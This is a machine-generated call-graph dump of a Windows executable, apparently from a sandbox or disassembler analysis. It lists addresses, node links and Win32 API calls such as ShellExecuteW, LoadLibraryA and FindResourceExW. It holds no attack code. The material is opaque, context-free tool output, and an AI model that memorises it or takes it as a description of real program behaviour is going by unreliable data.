92696 ec3d65 92694->92696 92699 f31cd9 92695->92699 92697 ec3e3a 92696->92697 92696->92699 92700 ec3d82 92696->92700 92698 ec3e41 SetCurrentDirectoryW 92697->92698 92701 ec3e4e Mailbox 92698->92701 92937 edc682 48 API calls 92699->92937 92823 ec40e5 92700->92823 92701->92572 92704 f31ce9 92709 f31cff SetCurrentDirectoryW 92704->92709 92706 ec3da0 GetFullPathNameW 92839 ec6a63 92706->92839 92708 ec3ddb 92850 ec6430 92708->92850 92709->92701 92712 ec3df6 92713 ec3e00 92712->92713 92938 f071fa AllocateAndInitializeSid CheckTokenMembership FreeSid 92712->92938 92866 ec3e6e GetSysColorBrush LoadCursorW LoadIconW LoadIconW LoadIconW 92713->92866 92717 f31d1c 92717->92713 92719 f31d2d 92717->92719 92939 ec5374 92719->92939 92720 ec3e0a 92722 ec3e1f 92720->92722 92935 ec4ffc 67 API calls _memset 92720->92935 92874 ece8d0 92722->92874 92723 f31d35 92946 ecce19 92723->92946 92728 f31d42 92729 f31d49 92728->92729 92730 f31d6e 92728->92730 92952 ec518c 92729->92952 92732 ec518c 48 API calls 92730->92732 92734 f31d6a GetForegroundWindow ShellExecuteW 92732->92734 92738 f31d9e Mailbox 92734->92738 92738->92697 92740 ec518c 48 API calls 92740->92734 92741->92680 92742->92685 92743->92687 92971 edf4ea 92744->92971 92746 ecd818 92747 edf4ea 48 API calls 92746->92747 92748 ec3d31 GetCurrentDirectoryW 92747->92748 92749 ec61ca 92748->92749 93002 ede99b 92749->93002 92753 ec61eb 92754 ec5374 50 API calls 92753->92754 92755 ec61ff 92754->92755 92756 ecce19 48 API calls 92755->92756 92757 ec620c 92756->92757 93019 ec39db 92757->93019 92759 ec6216 Mailbox 93031 ec6eed 92759->93031 92764 ecce19 48 API calls 92765 ec6244 92764->92765 93038 ecd6e9 92765->93038 92767 ec6254 Mailbox 92768 ecce19 48 API calls 92767->92768 92769 ec627c 92768->92769 92770 ecd6e9 55 API calls 92769->92770 92771 ec628f Mailbox 92770->92771 92772 ecce19 48 API calls 92771->92772 92773 ec62a0 92772->92773 93042 ecd645 92773->93042 92775 ec62b2 Mailbox 92776 ecd7f7 48 API calls 92775->92776 92777 ec62c5 92776->92777 93052 ec63fc 92777->93052 92781 ec62df 92782 ec62e9 92781->92782 92783 f31c08 92781->92783 92784 ee0fa7 _W_store_winword 59 API calls 92782->92784 92785 ec63fc 48 API calls 92783->92785 92786 ec62f4 92784->92786 92787 f31c1c 92785->92787 92786->92787 92788 ec62fe 92786->92788 92789 ec63fc 48 API calls 92787->92789 92790 ee0fa7 _W_store_winword 59 API calls 92788->92790 92791 f31c38 92789->92791 92792 ec6309 92790->92792 92794 ec5374 50 API calls 92791->92794 92792->92791 92793 ec6313 92792->92793 92795 ee0fa7 _W_store_winword 59 API calls 92793->92795 92796 f31c5d 92794->92796 92797 ec631e 92795->92797 92798 ec63fc 48 API calls 92796->92798 92799 ec635f 92797->92799 92801 f31c86 92797->92801 92803 ec63fc 48 API calls 92797->92803 92802 f31c69 92798->92802 92800 ec636c 92799->92800 92799->92801 93068 edc050 92800->93068 92804 ec6eed 48 API calls 92801->92804 92805 ec6eed 48 API calls 92802->92805 92806 ec6342 92803->92806 92807 f31ca8 92804->92807 92809 f31c77 92805->92809 92810 ec6eed 48 API calls 92806->92810 92811 ec63fc 48 API calls 92807->92811 92813 ec63fc 48 API calls 92809->92813 92814 ec6350 92810->92814 92815 f31cb5 92811->92815 92812 ec6384 93079 ed1b90 92812->93079 92813->92801 92817 ec63fc 48 API calls 92814->92817 92815->92815 92817->92799 92818 ed1b90 48 API calls 92820 ec6394 92818->92820 92820->92818 92821 ec63fc 48 API calls 92820->92821 92822 ec63d6 Mailbox 92820->92822 93095 ec6b68 48 API calls 92820->93095 92821->92820 92822->92694 92824 ec40f2 __ftell_nolock 92823->92824 92825 ec410b 92824->92825 92826 f3370e _memset 92824->92826 93604 ec660f 92825->93604 92828 f3372a GetOpenFileNameW 92826->92828 92830 f33779 92828->92830 92832 ec6a63 48 API calls 92830->92832 92834 f3378e 92832->92834 92834->92834 92836 ec4129 93629 ec4139 92836->93629 92840 ec6adf 92839->92840 92841 ec6a6f __wsetenvp 92839->92841 92842 ecb18b 48 API calls 92840->92842 92843 ec6a8b 92841->92843 92844 ec6ad7 92841->92844 92847 ec6ab6 ___crtGetEnvironmentStringsW 92842->92847 93849 ec6b4a 92843->93849 93852 ecc369 48 API calls 92844->93852 92847->92708 92848 ec6a95 92849 edee75 48 API calls 92848->92849 92849->92847 92851 ec643d __ftell_nolock 92850->92851 93853 ec4c75 92851->93853 92853 ec6442 92865 ec3dee 92853->92865 93864 ec5928 86 API calls 92853->93864 92855 ec644f 92855->92865 93865 ec5798 88 API calls Mailbox 92855->93865 92857 ec6458 92858 ec645c GetFullPathNameW 92857->92858 92857->92865 92859 ec6a63 48 API calls 92858->92859 92860 ec6488 92859->92860 92861 ec6a63 48 API calls 92860->92861 92862 ec6495 92861->92862 92863 f35dcf _wcscat 92862->92863 92864 ec6a63 48 API calls 92862->92864 92864->92865 92865->92704 92865->92712 92867 ec3ed8 92866->92867 92868 f31cba 92866->92868 93912 ec4024 92867->93912 92872 ec3e05 92873 ec36b8 CreateWindowExW CreateWindowExW ShowWindow ShowWindow 92872->92873 92873->92720 92875 ece8f6 92874->92875 92934 ece906 Mailbox 92874->92934 92876 eced52 92875->92876 92875->92934 94083 ede3cd 335 API calls 92876->94083 92877 f0cc5c 86 API calls 92877->92934 92879 ec3e2a 92879->92697 92936 ec3847 Shell_NotifyIconW _memset 92879->92936 92881 eced63 92881->92879 92883 eced70 92881->92883 92882 ece94c PeekMessageW 92882->92934 94085 ede312 335 API calls Mailbox 92883->94085 92885 eced77 LockWindowUpdate DestroyWindow GetMessageW 92885->92879 92887 eceda9 92885->92887 92886 f3526e Sleep 92886->92934 92890 f359ef TranslateMessage DispatchMessageW GetMessageW 92887->92890 92888 ecebc7 92888->92879 94084 ec2ff6 16 API calls 92888->94084 92890->92890 92892 f35a1f 92890->92892 92892->92879 92893 eced21 PeekMessageW 92893->92934 92894 ec1caa 49 API calls 92894->92934 92895 ecebf7 timeGetTime 92895->92934 92897 edf4ea 48 API calls 92897->92934 92898 ec6eed 48 API calls 92898->92934 92899 eced3a TranslateMessage DispatchMessageW 92899->92893 92900 f35557 WaitForSingleObject 92901 f35574 GetExitCodeProcess CloseHandle 92900->92901 92900->92934 92901->92934 92902 ecd7f7 48 API calls 92927 f35429 Mailbox 92902->92927 92903 f3588f Sleep 92903->92927 92904 ecedae timeGetTime 94086 ec1caa 49 API calls 92904->94086 92907 f35733 Sleep 92907->92927 92909 f35926 GetExitCodeProcess 92913 f35952 CloseHandle 92909->92913 92914 f3593c WaitForSingleObject 92909->92914 92910 ec2aae 311 API calls 92910->92934 92912 eddc38 timeGetTime 92912->92927 92913->92927 92914->92913 92914->92934 92915 f35445 Sleep 92915->92934 92916 f35432 Sleep 92916->92915 92917 f28c4b 108 API calls 92917->92927 92918 ec2c79 107 API calls 92918->92927 92920 f359ae Sleep 92920->92934 92921 ecce19 48 API calls 92921->92927 92925 ecd6e9 55 API calls 92925->92927 92927->92902 92927->92909 92927->92912 92927->92915 92927->92916 92927->92917 92927->92918 92927->92920 92927->92921 92927->92925 92927->92934 94088 f04cbe 49 API calls Mailbox 92927->94088 94089 ec1caa 49 API calls 92927->94089 94090 ec2aae 335 API calls 92927->94090 94120 f1ccb2 50 API calls 92927->94120 94121 f07a58 QueryPerformanceCounter QueryPerformanceFrequency Sleep QueryPerformanceCounter Sleep 92927->94121 94122 f06532 63 API calls 3 library calls 92927->94122 92932 ecce19 48 API calls 92932->92934 92933 ecd6e9 55 API calls 92933->92934 92934->92877 92934->92882 92934->92886 92934->92888 92934->92893 92934->92894 92934->92895 92934->92897 92934->92898 92934->92899 92934->92900 92934->92903 92934->92904 92934->92907 92934->92910 92934->92915 92934->92927 92934->92932 92934->92933 93917 ecf110 92934->93917 93982 ed45e0 92934->93982 93999 ed3200 92934->93999 94071 ede244 92934->94071 94076 eddc5f 92934->94076 94081 eceed0 335 API calls Mailbox 92934->94081 94082 ecef00 335 API calls 92934->94082 94087 f28d23 48 API calls 92934->94087 94091 ecfe30 92934->94091 92935->92722 92936->92697 92937->92704 92938->92717 92940 eef8a0 __ftell_nolock 92939->92940 92941 ec5381 GetModuleFileNameW 92940->92941 92942 ecce19 48 API calls 92941->92942 92943 ec53a7 92942->92943 92944 ec660f 49 API calls 92943->92944 92945 ec53b1 Mailbox 92944->92945 92945->92723 92947 ecce28 __wsetenvp 92946->92947 92948 edee75 48 API calls 92947->92948 92949 ecce50 ___crtGetEnvironmentStringsW 92948->92949 92950 edf4ea 48 API calls 92949->92950 92951 ecce66 92950->92951 92951->92728 92953 ec5197 92952->92953 92954 ec519f 92953->92954 92955 f31ace 92953->92955 94370 ec5130 92954->94370 92956 ec6b4a 48 API calls 92955->92956 92959 f31adb __wsetenvp 92956->92959 92958 ec51aa 92962 ec510d 92958->92962 92960 edee75 48 API calls 92959->92960 92961 f31b07 ___crtGetEnvironmentStringsW 92960->92961 92963 ec511f 92962->92963 92964 f31be7 92962->92964 94380 ecb384 92963->94380 94389 efa58f 48 API calls ___crtGetEnvironmentStringsW 92964->94389 92967 ec512b 92967->92740 92968 f31bf1 92969 ec6eed 48 API calls 92968->92969 92970 f31bf9 Mailbox 92969->92970 92974 edf4f2 __calloc_impl 92971->92974 92973 edf50c 92973->92746 92974->92973 92975 edf50e std::exception::exception 92974->92975 92980 ee395c 92974->92980 92994 ee6805 RaiseException 92975->92994 92977 edf538 92995 ee673b 47 API calls _free 92977->92995 92979 edf54a 92979->92746 92981 ee39d7 __calloc_impl 92980->92981 92982 ee3968 __calloc_impl 92980->92982 93001 ee7c0e 47 API calls __getptd_noexit 92981->93001 92985 ee399b RtlAllocateHeap 92982->92985 92987 ee3973 92982->92987 92989 ee39c3 92982->92989 92992 ee39c1 92982->92992 92985->92982 92986 ee39cf 92985->92986 92986->92974 92987->92982 92996 ee81c2 47 API calls __NMSG_WRITE 92987->92996 92997 ee821f 47 API calls 7 library calls 92987->92997 92998 ee1145 GetModuleHandleExW GetProcAddress ExitProcess ___crtCorExitProcess 92987->92998 92999 ee7c0e 47 API calls __getptd_noexit 92989->92999 93000 ee7c0e 47 API calls __getptd_noexit 92992->93000 92994->92977 92995->92979 92996->92987 92997->92987 92999->92992 93000->92986 93001->92986 93003 ecd7f7 48 API calls 93002->93003 93004 ec61db 93003->93004 93005 ec6009 93004->93005 93006 ec6016 __ftell_nolock 93005->93006 93007 ec6a63 48 API calls 93006->93007 93011 ec617c Mailbox 93006->93011 93009 ec6048 93007->93009 93018 ec607e Mailbox 93009->93018 93096 ec61a6 93009->93096 93010 ec614f 93010->93011 93012 ecce19 48 API calls 93010->93012 93011->92753 93013 ec6170 93012->93013 93015 ec64cf 48 API calls 93013->93015 93014 ecce19 48 API calls 93014->93018 93015->93011 93016 ec61a6 48 API calls 93016->93018 93018->93010 93018->93011 93018->93014 93018->93016 93099 ec64cf 93018->93099 93122 ec41a9 93019->93122 93022 ec3a06 93022->92759 93025 f32ff0 93026 ee1c9d _free 47 API calls 93025->93026 93028 f32ffd 93026->93028 93029 ec4252 84 API calls 93028->93029 93030 f33006 93029->93030 93030->93030 93032 ec6ef8 93031->93032 93033 ec622b 93031->93033 93592 ecdd47 48 API calls ___crtGetEnvironmentStringsW 93032->93592 93035 ec9048 93033->93035 93036 edf4ea 48 API calls 93035->93036 93037 ec6237 93036->93037 93037->92764 93039 ecd6f4 93038->93039 93040 ecd71b 93039->93040 93593 ecd764 55 API calls 93039->93593 93040->92767 93043 ecd654 93042->93043 93050 ecd67e 93042->93050 93044 ecd65b 93043->93044 93046 ecd6c2 93043->93046 93045 ecd666 93044->93045 93051 ecd6ab 93044->93051 93594 ecd9a0 53 API calls __cinit 93045->93594 93046->93051 93596 eddce0 53 API calls 93046->93596 93050->92775 93051->93050 93595 eddce0 53 API calls 93051->93595 93053 ec641f 93052->93053 93054 ec6406 93052->93054 93055 ec6a63 48 API calls 93053->93055 93056 ec6eed 48 API calls 93054->93056 93057 ec62d1 93055->93057 93056->93057 93058 ee0fa7 93057->93058 93059 ee1028 93058->93059 93060 ee0fb3 93058->93060 93599 ee103a 59 API calls 3 library calls 93059->93599 93067 ee0fd8 93060->93067 93597 ee7c0e 47 API calls __getptd_noexit 93060->93597 93062 ee1035 93062->92781 93064 ee0fbf 93598 ee6e10 8 API calls __mbstowcs_s_l 93064->93598 93066 ee0fca 93066->92781 93067->92781 93069 edc064 93068->93069 93071 edc069 Mailbox 93068->93071 93600 edc1af 48 API calls 93069->93600 93072 edc077 93071->93072 93601 edc15c 48 API calls 93071->93601 93074 edf4ea 48 API calls 93072->93074 93076 edc152 93072->93076 93075 edc108 93074->93075 93077 edf4ea 48 API calls 93075->93077 93076->92812 93078 edc113 93077->93078 93078->92812 93078->93078 93080 ed1cf6 93079->93080 93082 ed1ba2 93079->93082 93080->92820 93081 ed1bae 93089 ed1bb9 93081->93089 93603 edc15c 48 API calls 93081->93603 93082->93081 93084 edf4ea 48 API calls 93082->93084 93085 f349c4 93084->93085 93087 edf4ea 48 API calls 93085->93087 93086 ed1c5d 93086->92820 93094 f349cf 93087->93094 93088 edf4ea 48 API calls 93090 ed1c9f 93088->93090 93089->93086 93089->93088 93091 ed1cb2 93090->93091 93602 ec2925 48 API calls 93090->93602 93091->92820 93093 edf4ea 48 API calls 93093->93094 93094->93081 93094->93093 93095->92820 93105 ecbdfa 93096->93105 93098 ec61b1 93098->93009 93100 ec651b 93099->93100 93104 ec64dd ___crtGetEnvironmentStringsW 93099->93104 93103 edf4ea 48 API calls 93100->93103 93101 edf4ea 48 API calls 93102 ec64e4 93101->93102 93102->93018 93103->93104 93104->93101 93106 ecbe0d 93105->93106 93107 ecbe0a ___crtGetEnvironmentStringsW 93105->93107 93108 edf4ea 48 API calls 93106->93108 93107->93098 93109 ecbe17 93108->93109 93111 edee75 93109->93111 93113 edf4ea __calloc_impl 93111->93113 93112 ee395c __crtCompareStringA_stat 47 API calls 93112->93113 93113->93112 93114 edf50c 93113->93114 93115 edf50e std::exception::exception 93113->93115 93114->93107 93120 ee6805 RaiseException 93115->93120 93117 edf538 93121 ee673b 47 API calls _free 93117->93121 93119 edf54a 93119->93107 93120->93117 93121->93119 93187 ec4214 93122->93187 93127 f34f73 93129 ec4252 84 API calls 93127->93129 93128 ec41d4 LoadLibraryExW 93197 ec4291 93128->93197 93131 f34f7a 93129->93131 93134 ec4291 3 API calls 93131->93134 93136 f34f82 93134->93136 93135 ec41fb 93135->93136 93137 ec4207 93135->93137 93223 ec44ed 93136->93223 93138 ec4252 84 API calls 93137->93138 93140 ec39fe 93138->93140 93140->93022 93146 f0c396 93140->93146 93143 f34fa9 93231 ec4950 93143->93231 93145 f34fb6 93147 ec4517 83 API calls 93146->93147 93148 f0c405 93147->93148 93412 f0c56d 93148->93412 93151 ec44ed 64 API calls 93152 f0c432 93151->93152 93153 ec44ed 64 API calls 93152->93153 93154 f0c442 93153->93154 93155 ec44ed 64 API calls 93154->93155 93156 f0c45d 93155->93156 93157 ec44ed 64 API calls 93156->93157 93158 f0c478 93157->93158 93159 ec4517 83 API calls 93158->93159 93160 f0c48f 93159->93160 93161 ee395c __crtCompareStringA_stat 47 API calls 93160->93161 93162 f0c496 93161->93162 93163 ee395c __crtCompareStringA_stat 47 API calls 93162->93163 93164 f0c4a0 93163->93164 93165 ec44ed 64 API calls 93164->93165 93166 f0c4b4 93165->93166 93167 f0bf5a GetSystemTimeAsFileTime 93166->93167 93168 f0c4c7 93167->93168 93169 f0c4f1 93168->93169 93170 f0c4dc 93168->93170 93172 f0c556 93169->93172 93173 f0c4f7 93169->93173 93171 ee1c9d _free 47 API calls 93170->93171 93174 f0c4e2 93171->93174 93176 ee1c9d _free 47 API calls 93172->93176 93418 f0b965 93173->93418 93177 ee1c9d _free 47 API calls 93174->93177 93179 f0c41b 93176->93179 93177->93179 93179->93025 93181 ec4252 93179->93181 93180 ee1c9d _free 47 API calls 93180->93179 93182 ec425c 93181->93182 93183 ec4263 93181->93183 93184 ee35e4 __fcloseall 83 API calls 93182->93184 93185 ec4272 93183->93185 93186 ec4283 FreeLibrary 93183->93186 93184->93183 93185->93025 93186->93185 93236 ec4339 93187->93236 93190 ec423c 93191 ec41bb 93190->93191 93192 ec4244 FreeLibrary 93190->93192 93194 ee3499 93191->93194 93192->93191 93244 ee34ae 93194->93244 93196 ec41c8 93196->93127 93196->93128 93323 ec42e4 93197->93323 93200 ec42b8 93201 ec41ec 93200->93201 93202 ec42c1 FreeLibrary 93200->93202 93204 ec4380 93201->93204 93202->93201 93205 edf4ea 48 API calls 93204->93205 93206 ec4395 93205->93206 93331 ec47b7 93206->93331 93208 ec43a1 ___crtGetEnvironmentStringsW 93209 ec43dc 93208->93209 93211 ec4499 93208->93211 93212 ec44d1 93208->93212 93210 ec4950 57 API calls 93209->93210 93220 ec43e5 93210->93220 93334 ec406b CreateStreamOnHGlobal 93211->93334 93345 f0c750 93 API calls 93212->93345 93215 ec44ed 64 API calls 93215->93220 93217 ec4479 93217->93135 93218 f34ed7 93219 ec4517 83 API calls 93218->93219 93221 f34eeb 93219->93221 93220->93215 93220->93217 93220->93218 93340 ec4517 93220->93340 93222 ec44ed 64 API calls 93221->93222 93222->93217 93224 ec44ff 93223->93224 93227 f34fc0 93223->93227 93369 ee381e 93224->93369 93228 f0bf5a 93389 f0bdb4 93228->93389 93230 f0bf70 93230->93143 93232 f35002 93231->93232 93233 ec495f 93231->93233 93394 ee3e65 93233->93394 93235 ec4967 93235->93145 93240 ec434b 93236->93240 93239 ec4321 LoadLibraryA GetProcAddress 93239->93190 93241 ec422f 93240->93241 93242 ec4354 LoadLibraryA 93240->93242 93241->93190 93241->93239 93242->93241 93243 ec4365 GetProcAddress 93242->93243 93243->93241 93247 ee34ba __fcloseall 93244->93247 93245 ee34cd 93292 ee7c0e 47 API calls __getptd_noexit 93245->93292 93247->93245 93249 ee34fe 93247->93249 93248 ee34d2 93293 ee6e10 8 API calls __mbstowcs_s_l 93248->93293 93263 eee4c8 93249->93263 93252 ee3503 93253 ee350c 93252->93253 93254 ee3519 93252->93254 93294 ee7c0e 47 API calls __getptd_noexit 93253->93294 93256 ee3543 93254->93256 93257 ee3523 93254->93257 93277 eee5e0 93256->93277 93295 ee7c0e 47 API calls __getptd_noexit 93257->93295 93262 ee34dd __fcloseall @_EH4_CallFilterFunc@8 93262->93196 93264 eee4d4 __fcloseall 93263->93264 93265 ee7cf4 __lock 47 API calls 93264->93265 93272 eee4e2 93265->93272 93266 eee559 93302 ee69d0 47 API calls __crtCompareStringA_stat 93266->93302 93269 eee560 93271 eee56f InitializeCriticalSectionAndSpinCount EnterCriticalSection 93269->93271 93275 eee552 93269->93275 93270 eee5cc __fcloseall 93270->93252 93271->93275 93272->93266 93273 ee7d7c __mtinitlocknum 47 API calls 93272->93273 93272->93275 93300 ee4e5b 48 API calls __lock 93272->93300 93301 ee4ec5 LeaveCriticalSection LeaveCriticalSection _doexit 93272->93301 93273->93272 93297 eee5d7 93275->93297 93278 eee600 __wopenfile 93277->93278 93279 eee61a 93278->93279 93291 eee7d5 93278->93291 93309 ee185b 59 API calls 2 library calls 93278->93309 93307 ee7c0e 47 API calls __getptd_noexit 93279->93307 93281 eee61f 93308 ee6e10 8 API calls __mbstowcs_s_l 93281->93308 93283 eee838 93304 ef63c9 93283->93304 93285 ee354e 93296 ee3570 LeaveCriticalSection LeaveCriticalSection _fprintf 93285->93296 93287 eee7ce 93287->93291 93310 ee185b 59 API calls 2 library calls 93287->93310 93289 eee7ed 93289->93291 93311 ee185b 59 API calls 2 library calls 93289->93311 93291->93279 93291->93283 93292->93248 93293->93262 93294->93262 93295->93262 93296->93262 93303 ee7e58 LeaveCriticalSection 93297->93303 93299 eee5de 93299->93270 93300->93272 93301->93272 93302->93269 93303->93299 93312 ef5bb1 93304->93312 93306 ef63e2 93306->93285 93307->93281 93308->93285 93309->93287 93310->93289 93311->93291 93313 ef5bbd __fcloseall 93312->93313 93314 ef5bcf 93313->93314 93317 ef5c06 93313->93317 93315 ee7c0e __mbstowcs_s_l 47 API calls 93314->93315 93316 ef5bd4 93315->93316 93318 ee6e10 __mbstowcs_s_l 8 API calls 93316->93318 93319 ef5c78 __wsopen_helper 110 API calls 93317->93319 93322 ef5bde __fcloseall 93318->93322 93320 ef5c23 93319->93320 93321 ef5c4c __wsopen_helper LeaveCriticalSection 93320->93321 93321->93322 93322->93306 93327 ec42f6 93323->93327 93326 ec42cc LoadLibraryA GetProcAddress 93326->93200 93328 ec42aa 93327->93328 93329 ec42ff LoadLibraryA 93327->93329 93328->93200 93328->93326 93329->93328 93330 ec4310 GetProcAddress 93329->93330 93330->93328 93332 edf4ea 48 API calls 93331->93332 93333 ec47c9 93332->93333 93333->93208 93335 ec4085 FindResourceExW 93334->93335 93339 ec40a2 93334->93339 93336 f34f16 LoadResource 93335->93336 93335->93339 93337 f34f2b SizeofResource 93336->93337 93336->93339 93338 f34f3f LockResource 93337->93338 93337->93339 93338->93339 93339->93209 93341 ec4526 93340->93341 93344 f34fe0 93340->93344 93346 ee3a8d 93341->93346 93343 ec4534 93343->93220 93345->93209 93349 ee3a99 __fcloseall 93346->93349 93347 ee3aa7 93359 ee7c0e 47 API calls __getptd_noexit 93347->93359 93348 ee3acd 93361 ee4e1c 93348->93361 93349->93347 93349->93348 93351 ee3aac 93360 ee6e10 8 API calls __mbstowcs_s_l 93351->93360 93354 ee3ad3 93367 ee39fe 81 API calls 3 library calls 93354->93367 93356 ee3ae2 93368 ee3b04 LeaveCriticalSection LeaveCriticalSection _fprintf 93356->93368 93358 ee3ab7 __fcloseall 93358->93343 93359->93351 93360->93358 93362 ee4e4e EnterCriticalSection 93361->93362 93363 ee4e2c 93361->93363 93365 ee4e44 93362->93365 93363->93362 93364 ee4e34 93363->93364 93366 ee7cf4 __lock 47 API calls 93364->93366 93365->93354 93366->93365 93367->93356 93368->93358 93372 ee3839 93369->93372 93371 ec4510 93371->93228 93373 ee3845 __fcloseall 93372->93373 93374 ee385b _memset 93373->93374 93375 ee3888 93373->93375 93376 ee3880 __fcloseall 93373->93376 93385 ee7c0e 47 API calls __getptd_noexit 93374->93385 93377 ee4e1c __lock_file 48 API calls 93375->93377 93376->93371 93378 ee388e 93377->93378 93387 ee365b 62 API calls 6 library calls 93378->93387 93381 ee3875 93386 ee6e10 8 API calls __mbstowcs_s_l 93381->93386 93382 ee38a4 93388 ee38c2 LeaveCriticalSection LeaveCriticalSection _fprintf 93382->93388 93385->93381 93386->93376 93387->93382 93388->93376 93392 ee344a GetSystemTimeAsFileTime 93389->93392 93391 f0bdc3 93391->93230 93393 ee3478 __aulldiv 93392->93393 93393->93391 93395 ee3e71 __fcloseall 93394->93395 93396 ee3e7f 93395->93396 93397 ee3e94 93395->93397 93408 ee7c0e 47 API calls __getptd_noexit 93396->93408 93399 ee4e1c __lock_file 48 API calls 93397->93399 93401 ee3e9a 93399->93401 93400 ee3e84 93409 ee6e10 8 API calls __mbstowcs_s_l 93400->93409 93410 ee3b0c 55 API calls 5 library calls 93401->93410 93404 ee3ea5 93411 ee3ec5 LeaveCriticalSection LeaveCriticalSection _fprintf 93404->93411 93406 ee3eb7 93407 ee3e8f __fcloseall 93406->93407 93407->93235 93408->93400 93409->93407 93410->93404 93411->93406 93413 f0c581 __tzset_nolock _wcscmp 93412->93413 93414 ec44ed 64 API calls 93413->93414 93415 f0bf5a GetSystemTimeAsFileTime 93413->93415 93416 f0c417 93413->93416 93417 ec4517 83 API calls 93413->93417 93414->93413 93415->93413 93416->93151 93416->93179 93417->93413 93419 f0b970 93418->93419 93420 f0b97e 93418->93420 93421 ee3499 117 API calls 93419->93421 93422 f0b9c3 93420->93422 93423 ee3499 117 API calls 93420->93423 93448 f0b987 93420->93448 93421->93420 93449 f0bbe8 64 API calls 3 library calls 93422->93449 93424 f0b9a8 93423->93424 93424->93422 93426 f0b9b1 93424->93426 93426->93448 93460 ee35e4 93426->93460 93427 f0ba07 93428 f0ba0b 93427->93428 93429 f0ba2c 93427->93429 93432 f0ba18 93428->93432 93434 ee35e4 __fcloseall 83 API calls 93428->93434 93450 f0b7e5 47 API calls __crtCompareStringA_stat 93429->93450 93435 ee35e4 __fcloseall 83 API calls 93432->93435 93432->93448 93433 f0ba34 93436 f0ba5a 93433->93436 93437 f0ba3a 93433->93437 93434->93432 93435->93448 93451 f0ba8a 90 API calls 93436->93451 93439 f0ba47 93437->93439 93441 ee35e4 __fcloseall 83 API calls 93437->93441 93443 ee35e4 __fcloseall 83 API calls 93439->93443 93439->93448 93440 f0ba61 93452 f0bb64 93440->93452 93441->93439 93443->93448 93445 f0ba75 93447 ee35e4 __fcloseall 83 API calls 93445->93447 93445->93448 93446 ee35e4 __fcloseall 83 API calls 93446->93445 93447->93448 93448->93180 93449->93427 93450->93433 93451->93440 93453 f0bb71 93452->93453 93454 f0bb77 93452->93454 93455 ee1c9d _free 47 API calls 93453->93455 93456 ee1c9d _free 47 API calls 93454->93456 93457 f0bb88 93454->93457 93455->93454 93456->93457 93458 f0ba68 93457->93458 93459 ee1c9d _free 47 API calls 93457->93459 93458->93445 93458->93446 93459->93458 93461 ee35f0 __fcloseall 93460->93461 93462 ee361c 93461->93462 93463 ee3604 93461->93463 93466 ee4e1c __lock_file 48 API calls 93462->93466 93469 ee3614 __fcloseall 93462->93469 93489 ee7c0e 47 API calls __getptd_noexit 93463->93489 93465 ee3609 93490 ee6e10 8 API calls __mbstowcs_s_l 93465->93490 93468 ee362e 93466->93468 93473 ee3578 93468->93473 93469->93448 93474 ee359b 93473->93474 93475 ee3587 93473->93475 93481 ee3597 93474->93481 93492 ee2c84 93474->93492 93532 ee7c0e 47 API calls __getptd_noexit 93475->93532 93477 ee358c 93533 ee6e10 8 API calls __mbstowcs_s_l 93477->93533 93491 ee3653 LeaveCriticalSection LeaveCriticalSection _fprintf 93481->93491 93485 ee35b5 93509 eee9d2 93485->93509 93487 ee35bb 93487->93481 93488 ee1c9d _free 47 API calls 93487->93488 93488->93481 93489->93465 93490->93469 93491->93469 93493 ee2c97 93492->93493 93494 ee2cbb 93492->93494 93493->93494 93495 ee2933 __flush 47 API calls 93493->93495 93498 eeeb36 93494->93498 93496 ee2cb4 93495->93496 93534 eeaf61 93496->93534 93499 ee35af 93498->93499 93500 eeeb43 93498->93500 93502 ee2933 93499->93502 93500->93499 93501 ee1c9d _free 47 API calls 93500->93501 93501->93499 93503 ee293d 93502->93503 93504 ee2952 93502->93504 93559 ee7c0e 47 API calls __getptd_noexit 93503->93559 93504->93485 93506 ee2942 93560 ee6e10 8 API calls __mbstowcs_s_l 93506->93560 93508 ee294d 93508->93485 93510 eee9de __fcloseall 93509->93510 93511 eee9fe 93510->93511 93512 eee9e6 93510->93512 93513 eeea7b 93511->93513 93519 eeea28 93511->93519 93585 ee7bda 47 API calls __getptd_noexit 93512->93585 93589 ee7bda 47 API calls __getptd_noexit 93513->93589 93515 eee9eb 93586 ee7c0e 47 API calls __getptd_noexit 93515->93586 93518 eeea80 93590 ee7c0e 47 API calls __getptd_noexit 93518->93590 93561 eea8ed 93519->93561 93522 eeea88 93591 ee6e10 8 API calls __mbstowcs_s_l 93522->93591 93523 eeea2e 93525 eeea4c 93523->93525 93526 eeea41 93523->93526 93587 ee7c0e 47 API calls __getptd_noexit 93525->93587 93570 eeea9c 93526->93570 93527 eee9f3 __fcloseall 93527->93487 93530 eeea47 93588 eeea73 LeaveCriticalSection __unlock_fhandle 93530->93588 93532->93477 93533->93481 93535 eeaf6d __fcloseall 93534->93535 93536 eeaf8d 93535->93536 93537 eeaf75 93535->93537 93539 eeb022 93536->93539 93542 eeafbf 93536->93542 93538 ee7bda __set_osfhnd 47 API calls 93537->93538 93540 eeaf7a 93538->93540 93541 ee7bda __set_osfhnd 47 API calls 93539->93541 93544 ee7c0e __mbstowcs_s_l 47 API calls 93540->93544 93543 eeb027 93541->93543 93545 eea8ed ___lock_fhandle 49 API calls 93542->93545 93546 ee7c0e __mbstowcs_s_l 47 API calls 93543->93546 93553 eeaf82 __fcloseall 93544->93553 93547 eeafc5 93545->93547 93548 eeb02f 93546->93548 93549 eeafeb 93547->93549 93550 eeafd8 93547->93550 93551 ee6e10 __mbstowcs_s_l 8 API calls 93548->93551 93554 ee7c0e __mbstowcs_s_l 47 API calls 93549->93554 93552 eeb043 __chsize_nolock 75 API calls 93550->93552 93551->93553 93555 eeafe4 93552->93555 93553->93494 93556 eeaff0 93554->93556 93558 eeb01a __flush LeaveCriticalSection 93555->93558 93557 ee7bda __set_osfhnd 47 API calls 93556->93557 93557->93555 93558->93553 93559->93506 93560->93508 93563 eea8f9 __fcloseall 93561->93563 93562 eea946 EnterCriticalSection 93565 eea96c __fcloseall 93562->93565 93563->93562 93564 ee7cf4 __lock 47 API calls 93563->93564 93566 eea91d 93564->93566 93565->93523 93567 eea93a 93566->93567 93568 eea928 InitializeCriticalSectionAndSpinCount 93566->93568 93569 eea970 ___lock_fhandle LeaveCriticalSection 93567->93569 93568->93567 93569->93562 93571 eeaba4 __close_nolock 47 API calls 93570->93571 93572 eeeaaa 93571->93572 93573 eeeb00 93572->93573 93575 eeeade 93572->93575 93578 eeaba4 __close_nolock 47 API calls 93572->93578 93574 eeab1e __free_osfhnd 48 API calls 93573->93574 93577 eeeb08 93574->93577 93575->93573 93576 eeaba4 __close_nolock 47 API calls 93575->93576 93580 eeeaea CloseHandle 93576->93580 93581 eeeb2a 93577->93581 93584 ee7bed __dosmaperr 47 API calls 93577->93584 93579 eeead5 93578->93579 